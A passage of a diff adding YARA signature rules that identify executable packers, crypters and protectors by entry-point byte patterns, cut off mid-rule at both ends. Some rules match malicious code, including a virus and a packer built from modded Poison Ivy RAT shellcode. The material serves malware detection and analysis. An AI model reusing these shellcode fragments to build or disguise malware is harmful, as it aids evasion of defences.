+		$1 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 B3 28 40 00 8B 42 3C 03 C2 89 85 BD 28 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D D1 28 40 00 53 8F 85 C4 27 40 00 BB ?? 00 00 00 B9 A5 08 00 00 8D BD 75 29 40 00 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D BD AA 30 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 07 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D C4 28 40 00 8B D6 B9 10 00 00 00 AC 84 C0 74 06 C0 4E FF 03 E2 F5 E8 00 00 00 00 59 81 C1 1D 00 00 00 52 51 C1 E9 05 23 D1 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AntiDote_14_SE__SISTeam_
+{
+	meta:
+		description = "AntiDote 1.4 SE -> SIS-Team"
+	strings:
+		$0 = {68 90 03 00 00 E8 C6 FD FF FF 68 90 03 00 00 E8 BC FD FF FF 68 90 03 00 00 E8 B2 FD FF FF 50 E8 AC FD FF FF 50 E8 A6 FD FF FF 68 69 D6 00 00 E8 9C FD FF FF 50 E8 96 FD FF FF 50 E8 90 FD FF FF 83 C4 20 E8 78 FF FF FF 84 C0 74 4F 68 04 01 00 00 68 10 22 60 00 6A 00 FF 15 08 10 60 00 68 90 03 00 00 E8 68 FD FF FF 68 69 D6 00 00 E8 5E FD FF FF 50 E8 58 FD FF FF 50 E8 52 FD FF FF E8 DD FE FF FF 50 68 A4 10 60 00 68 94 10 60 00 68 10 22 60 00 E8 58 FD FF FF 83 C4 20 33 C0 C2 10 00 8B 4C 24 08 56 8B 74 24 08 33 D2 8B C6 F7 F1 8B C6 85 D2 74 08 33 D2 F7 F1 40 0F AF C1 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v062_
+{
+	meta:
+		description = "aPack v0.62"
+	strings:
+		$0 = {1E 06 8C C8 8E D8 ?? ?? ?? 8E C0 50 BE ?? ?? 33 FF FC B6}
+	condition:
+		$0 at entrypoint
+}
+rule _GameGuard_v20065xx_dll__sign_by_hot_UNP_
+{
+	meta:
+		description = "GameGuard v2006.5.x.x (*.dll) -> sign by hot_UNP"
+	strings:
+		$0 = {31 FF 74 06 61 E9 4A 4D 50 30 BA 4C 00 00 00 80 7C 24 08 01 0F 85 ?? 01 00 00 60 BE 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v114_v115_v120_3_
+{
+	meta:
+		description = "PKLITE v1.14, v1.15, v1.20 (3)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 05 ?? ?? 3B ?? ?? ?? 72 ?? B4 09 BA ?? 01 CD 21 CD 20 4E 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_VBOX_43_MTE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VBOX 4.3 MTE] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v310_
+{
+	meta:
+		description = "Armadillo v3.10"
+	strings:
+		$0 = {55 8B EC 6A FF 68 E0 97 44 00 68 20 C0 42 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 4C 41 44 00 33 D2 8A D4 89 15 90 A1 44 00 8B C8 81 E1 FF 00 00 00 89 0D 8C A1 44 00 C1 E1 08 03 CA 89 0D 88 A1 44 00 C1 E8 10 A3 84 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v16x__Vaska_
+{
+	meta:
+		description = "RCryptor v1.6x --> Vaska"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Thinstall_Embedded_22X2308__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.2X-2.308 -> Jitit"
+	strings:
+		$0 = {B8 EF BE AD DE 50 6A 00 FF 15 ?? ?? ?? ?? E9 B9 FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_One_layer_encryption__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [One layer encryption] --> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 ?? 01 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _VBOX_v43__v46_
+{
+	meta:
+		description = "VBOX v4.3 - v4.6"
+	strings:
+		$0 = {8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5 8B C5}
+		$1 = {90 03 C4 33 C4 33 C5 2B C5 33 C5 8B C5 ?? ?? 2B C5 48 ?? ?? 0B C0 86 E0 8C E0 ?? ?? 8C E0 86 E0 03 C4 40}
+	condition:
+		$0 or $1
+}
+rule _AHTeam_EP_Protector_03_fake_PECrypt_102__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake PE-Crypt 1.02) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PECompact_14p__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PECompact 1.4+] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 EB 06 68 90 90 90 90 C3 9C 60 E8 02 90 90 90 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Exe_Locker_v10__IonIce_
+{
+	meta:
+		description = "Exe Locker v1.0 --> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00 3E 8F 85 6C 00 00 00 3E 8F 85 68 00 00 00 3E 8F 85 64 00 00 00 3E 8F 85 60 00 00 00 3E 8F 85 5C 00 00 00 3E 8F 85 58 00 00 00 3E 8F 85 54 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE32Pack_v139_
+{
+	meta:
+		description = "EXE32Pack v1.39"
+	strings:
+		$0 = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC ?? ?? ?? ?? 02 81 ?? ?? ?? ?? ?? ?? ?? 3B DB 74 01 BE 5D 8B D5 81 ED EC 8D 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Microsoft_Visual_Cpp_620__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Microsoft Visual C++ 6.20] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 55 8B EC 83 EC 50 53 56 57 BE 90 90 90 90 8D 7D F4 A5 A5 66 A5 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v120__v1201_
+{
+	meta:
+		description = "PECompact v1.20 - v1.20.1"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40}
+	condition:
+		$0 at entrypoint
+}
+rule _D1NS1G__D1N_
+{
+	meta:
+		description = "D1NS1G -> D1N"
+	strings:
+		$0 = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _XPack_167_
+{
+	meta:
+		description = "XPack 1.67"
+	strings:
+		$0 = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+	condition:
+		$0 at entrypoint
+}
+rule _Native_UD_Packer_11_Modded_Poison_Ivy_Shellcode__okkixot_
+{
+	meta:
+		description = "Native UD Packer 1.1 (Modded Poison Ivy Shellcode) -> okkixot"
+	strings:
+		$0 = {31 C0 31 DB 31 C9 EB 0E 6A 00 6A 00 6A 00 6A 00 FF 15 28 41 40 00 FF 15 94 40 40 00 89 C7 68 88 13 00 00 FF 15 98 40 40 00 FF 15 94 40 40 00 81 C7 88 13 00 00 39 F8 73 05 E9 84 00 00 00 6A 40 68 00 10 00 00 FF 35 04 30 40 00 6A 00 FF 15 A4 40 40 00 89 C7 FF 35 04 30 40 00 68 CA 10 40 00 50 FF 15 A8 40 40 00 6A 40 68 00 10 00 00 FF 35 08 30 40 00 6A 00 FF 15 A4 40 40 00 89 C6 68 00 30 40 00 FF 35 04 30 40 00 57 FF 35 08 30 40 00 50 6A 02 FF 15 4E 41 40 00 6A 00 6A 00 6A 00 56 6A 00 6A 00 FF 15 9C 40 40 00 50 6A 00 6A 00 6A 11 50 FF 15 4A 41 40 00 58 6A FF 50 FF 15 AC 40 40 00 6A 00 FF 15 A0 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PE_Intro_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PE Intro 1.0] --> Anorganix"
+	strings:
+		$0 = {8B 04 24 9C 60 E8 14 00 00 00 5D 81 ED 0A 45 40 90 80 BD 67 44 40 90 90 0F 85 48 FF ED 0A E9}
+	condition:
+		$0 at entrypoint
+}
+rule _HASP_HL_Protection_V1X__Aladdin_
+{
+	meta:
+		description = "HASP HL Protection V1.X -> Aladdin"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15}
+		$1 = {55 8B EC 53 56 57 60 8B C4 A3 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 15 8B 0D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 04 E9 A5 00 00 00 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8B 15}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PCGuard_v405d_v410d_v415d_
+{
+	meta:
+		description = "PC-Guard v4.05d, v4.10d, v4.15d"
+	strings:
+		$0 = {FC 55 50 E8 00 00 00 00 5D EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_FSG_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [FSG 1.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 BB D0 01 40 00 BF 00 10 40 00 BE 90 90 90 90 53 E8 0A 00 00 00 02 D2 75 05 8A 16 46 12 D2 C3 FC B2 80 A4 6A 02 5B}
+	condition:
+		$0 at entrypoint
+}
+rule _Reg2Exe_220221__by_Jan_Vorel_
+{
+	meta:
+		description = "Reg2Exe 2.20/2.21 - by Jan Vorel"
+	strings:
+		$0 = {6A 00 E8 7D 12 00 00 A3 A0 44 40 00 E8 79 12 00 00 6A 0A 50 6A 00 FF 35 A0 44 40 00 E8 0F 00 00 00 50 E8 69 12 00 00 CC CC CC CC CC CC CC CC CC 68 2C 02 00 00 68 00 00 00 00 68 B0 44 40 00 E8 3A 12 00 00 83 C4 0C 8B 44 24 04 A3 B8 44 40 00 68 00 00 00 00 68 A0 0F 00 00 68 00 00 00 00 E8 32 12 00 00 A3 B0 44 40 00 68 F4 01 00 00 68 BC 44 40 00 FF 35 B8 44 40 00 E8 1E 12 00 00 B8 BC 44 40 00 89 C1 8A 30 40 80 FE 5C 75 02 89 C1 80 FE 00 75 F1 C6 01 00 E8 EC 18 00 00 E8 28 16 00 00 E8 4A 12 00 00 68 00 FA 00 00 68 08 00 00 00 FF 35 B0 44 40 00 E8 E7 11 00 00 A3 B4 44 40 00 8B 15 D4 46 40 00 E8 65 0A 00 00 BB 00 00 10 00 B8 01 00 00 00 E8 72 0A 00 00 74 09 C7 00 01 00 00 00 83 C0 04 A3 D4 46 40 00 FF 35 B4 44 40 00 E8 26 05 00 00 8D 0D B8 46 40 00 5A E8 CF 0F 00 00 FF 35 B4 44 40 00 FF 35 B8 46 40 00 E8 EE 06 00 00 8D 0D B4 46 40 00 5A E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Yodas_Protector_102__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Yoda's Protector 1.02] --> Anorganix"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 90 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v10802__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v1.08.02 -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 EB 0A 5D EB 02 FF 25 45 FF E5 E8 E9 E8 F1 FF FF FF E9 81 ED 23 6A 44 00 BB 10 ?? 44 00 03 DD 2B 9D 72}
+	condition:
+		$0 at entrypoint
+}
+rule _ProActivate_V10X__TurboPower_Software_Company_
+{
+	meta:
+		description = "ProActivate V1.0X -> TurboPower Software Company"
+	strings:
+		$0 = {55 8B EC B9 0E 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 ?? ?? ?? ?? 90 90 90 90 90 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? 83 C0 05 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0D 00 00 00 E8 85 E2 FF FF 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 7A 81 3D ?? ?? ?? ?? 43 52 43 33 75 6E 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 62 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 56 81 3D ?? ?? ?? ?? 43 52 43 33 75 4A 81 3D ?? ?? ?? ?? 32 40 7E 7E 75 3E 81 3D ?? ?? ?? ?? 21 7E 7E 40 75 32 81 3D ?? ?? ?? ?? 43 52 43 33}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPToCRACks_PE_Protector_V092__Lukas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACk's PE Protector V0.9.2 -> Lukas Fleischer"
+	strings:
+		$0 = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_25A__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.5A -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 0B 00 00 00 6A 00 6A 00 49 75 F9 51 53 56 57 B8 6C 3E 40 00 E8 F7 EA FF FF 33 C0 55 68 60 44 40 00 64 FF 30 64 89 20 BA 70 44 40 00 B8 B8 6C 40 00 E8 62 F3 FF FF 8B D8 85 DB 75 07 6A 00 E8 A1 EB FF FF BA E8 64 40 00 8B C3 8B 0D B8 6C 40 00 E8 37 D3 FF FF C7 05 BC 6C 40 00 0A 00 00 00 BB 68 6C 40 00 BE 90 6C 40 00 BF E8 64 40 00 B8 C0 6C 40 00 BA 04 00 00 00 E8 07 EC FF FF 83 3B 00 74 04 33 C0 89 03 8B D7 8B C6 E8 09 F3 FF FF 89 03 83 3B 00 0F 84 BB 04 00 00 B8 C0 6C 40 00 8B 16 E8 06 E2 FF FF B8 C0 6C 40 00 E8 24 E1 FF FF 8B D0 8B 03 8B 0E E8 D1 D2 FF FF 8B C7 A3 20 6E 40 00 8D 55 EC 33 C0 E8 0C D4 FF FF 8B 45 EC B9 1C 6E 40 00 BA 18 6E 40 00}
+	condition:
+		$0
+}
+rule _BeRoEXEPacker_v100_LZBRS__BeRo__Farbrausch_
+{
+	meta:
+		description = "BeRoEXEPacker v1.00 [LZBRS] -> BeRo / Farbrausch"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+	condition:
+		$0 at entrypoint
+}
+rule _Open_Source_Code_Crypter__p0ke_
+{
+	meta:
+		description = "Open Source Code Crypter -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 34 44 40 00 E8 28 F8 FF FF 33 C0 55 68 9F 47 40 00 64 FF 30 64 89 20 BA B0 47 40 00 B8 1C 67 40 00 E8 07 FD FF FF 8B D8 85 DB 75 07 6A 00 E8 C2 F8 FF FF BA 28 67 40 00 8B C3 8B 0D 1C 67 40 00 E8 F0 E0 FF FF BE 01 00 00 00 B8 2C 68 40 00 E8 E1 F0 FF FF BF 0A 00 00 00 8D 55 EC 8B C6 E8 92 FC FF FF 8B 4D EC B8 2C 68 40 00 BA BC 47 40 00 E8 54 F2 FF FF A1 2C 68 40 00 E8 52 F3 FF FF 8B D0 B8 20 67 40 00 E8 A2 FC FF FF 8B D8 85 DB 0F 84 52 02 00 00 B8 24 67 40 00 8B 15 20 67 40 00 E8 78 F4 FF FF B8 24 67 40 00 E8 7A F3 FF FF 8B D0 8B C3 8B 0D 20 67 40 00 E8 77 E0 FF FF 8D 55 E8 A1 24 67 40 00 E8 42 FD FF FF 8B 55 E8 B8 24 67 40 00}
+	condition:
+		$0
+}
+rule _KGCrypt_vxx_
+{
+	meta:
+		description = "KGCrypt vx.x"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5D 81 ED ?? ?? ?? ?? 64 A1 30 ?? ?? ?? 84 C0 74 ?? 64 A1 20 ?? ?? ?? 0B C0 74}
+	condition:
+		$0 at entrypoint
+}
+rule _Apex_c_beta__500mhz_
+{
+	meta:
+		description = "Apex_c beta -> 500mhz"
+	strings:
+		$0 = {68 ?? ?? ?? ?? B9 FF FF FF 00 01 D0 F7 E2 72 01 48 E2 F7 B9 FF 00 00 00 8B 34 24 80 36 FD 46 E2 FA C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v12_
+{
+	meta:
+		description = "FSG v1.2"
+	strings:
+		$0 = {4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ORiEN_v211_DEMO_
+{
+	meta:
+		description = "ORiEN v2.11 (DEMO)"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_EXE_Protector_20__SetiSoft_
+{
+	meta:
+		description = "Private EXE Protector 2.0 -> SetiSoft"
+	strings:
+		$0 = {89 ?? ?? 38 00 00 00 8B ?? 00 00 00 00 81 ?? ?? ?? ?? ?? 89 ?? 00 00 00 00 81 ?? 04 00 00 00 81 ?? 04 00 00 00 81 ?? 00 00 00 00 0F 85 D6 FF FF FF}
+	condition:
+		$0
+}
+rule _SVKProtector_v132_
+{
+	meta:
+		description = "SVK-Protector v1.32"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_v276__WebToolMaster_
+{
+	meta:
+		description = "EXE Stealth v2.76 -> WebToolMaster"
+	strings:
+		$0 = {EB 65 45 78 65 53 74 65 61 6C 74 68 20 56 32 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 59 4F 55 52 20 41 44 20 48 45 52 45 21 50 69 52 41 43 59 20 69 53 20 41}
+	condition:
+		$0 at entrypoint
+}
+rule _COP_v10_c_1988_
+{
+	meta:
+		description = "COP v1.0 (c) 1988"
+	strings:
+		$0 = {BF ?? ?? BE ?? ?? B9 ?? ?? AC 32 ?? ?? ?? AA E2 ?? 8B ?? ?? ?? EB ?? 90}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v12_
+{
+	meta:
+		description = "y0da's Crypter v1.2"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 CC}
+	condition:
+		$0 at entrypoint
+}
+rule _Cruncher_v10_
+{
+	meta:
+		description = "Cruncher v1.0"
+	strings:
+		$0 = {2E ?? ?? ?? ?? 2E ?? ?? ?? B4 30 CD 21 3C 03 73 ?? BB ?? ?? 8E DB 8D ?? ?? ?? B4 09 CD 21 06 33 C0 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSplitter_13_Split_Method__Bill_Prisoner__TPOC_
+{
+	meta:
+		description = "ExeSplitter 1.3 (Split Method) -> Bill Prisoner / TPOC"
+	strings:
+		$0 = {E8 00 00 00 00 5D 81 ED 08 12 40 00 E8 66 FE FF FF 55 50 8D 9D 81 11 40 00 53 8D 9D 21 11 40 00 53 6A 08 E8 76 FF FF FF 6A 40 68 00 30 00 00 68 00 01 00 00 6A 00 FF 95 89 11 40 00 89 85 61 10 40 00 50 68 00 01 00 00 FF 95 85 11 40 00 8D 85 65 10 40 00 50 FF B5 61 10 40 00 FF 95 8D 11 40 00 6A 00 68 80 00 00 00 6A 02 6A 00 ?? ?? ?? ?? 01 1F 00 FF B5 61 10 40 00 FF 95 91 11 40 00 89 85 72 10 40 00 6A 00 8D ?? ?? ?? ?? 00 50 FF B5 09 10 40 00 8D 85 F5 12 40 00 50 FF B5 72 10 40 00 FF 95 95 11 40 00 FF B5 72 10 40 00 FF 95 99 11 40 00 8D 85 0D 10 40 00 50 8D 85 1D 10 40 00 50 B9 07 00 00 00 6A 00 E2 FC}
+		$1 = {E9 FE 01 00 00 ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 76 63 45 72 30 31 31 2E 74 6D 70 00 00 00 00 00 00 00 00 00 64 A1 30 00 00 00 8B 40 0C 8B 40 0C 8B 00 85 C0 0F 84 5F 02 00 00 8B 48 30 80 39 6B 74 07 80 39 4B 74 02 EB E7 80 79 0C 33 74 02 EB DF 8B 40 18 C3}
+	condition:
+		$0 or $1 at entrypoint
+}
+rule _Vx_Doom666_
+{
+	meta:
+		description = "Vx: Doom.666"
+	strings:
+		$0 = {E8 ?? ?? ?? 5E 83 EE ?? B8 CF 7B CD 21 3D CF 7B ?? ?? 0E 1F 81 C6 ?? ?? BF ?? ?? B9 ?? ?? FC F3 A4 06 1F 06 B8 ?? ?? 50 CB B4 48 BB 2C 00 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_BasicPro_Edition_110__Randy_Li_
+{
+	meta:
+		description = "SDProtector Basic/Pro Edition 1.10 -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt32_v102_
+{
+	meta:
+		description = "PE Crypt32 v1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21}
+	condition:
+		$0 at entrypoint
+}
+rule _AHTeam_EP_Protector_03_fake_VOB_ProtectCD__FEUERRADER_
+{
+	meta:
+		description = "AHTeam EP Protector 0.3 (fake VOB ProtectCD) -> FEUERRADER"
+	strings:
+		$0 = {90 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 90 FF E0 5F 81 EF 00 00 00 00 BE 00 00 40 00 8B 87 00 00 00 00 03 C6 57 56 8C A7 00 00 00 00 FF 10 89 87 00 00 00 00 5E 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v103__v104_
+{
+	meta:
+		description = "UPX v1.03 - v1.04"
+	strings:
+		$0 = {8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 8A 07 72 EB B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 ?? 75 ?? 8B 1E 83 EE FC}
+	condition:
+		$0 at entrypoint
+}
+rule _USERNAME_v300_
+{
+	meta:
+		description = "USERNAME v3.00"
+	strings:
+		$0 = {FB 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 8C C8 2B C1 8B C8 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 33 C0 8E D8 06 0E 07 FC 33 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _Krypton_v05_
+{
+	meta:
+		description = "Krypton v0.5"
+	strings:
+		$0 = {54 E8 ?? ?? ?? ?? 5D 8B C5 81 ED 71 44 ?? ?? 2B 85 64 60 ?? ?? EB 43 DF}
+	condition:
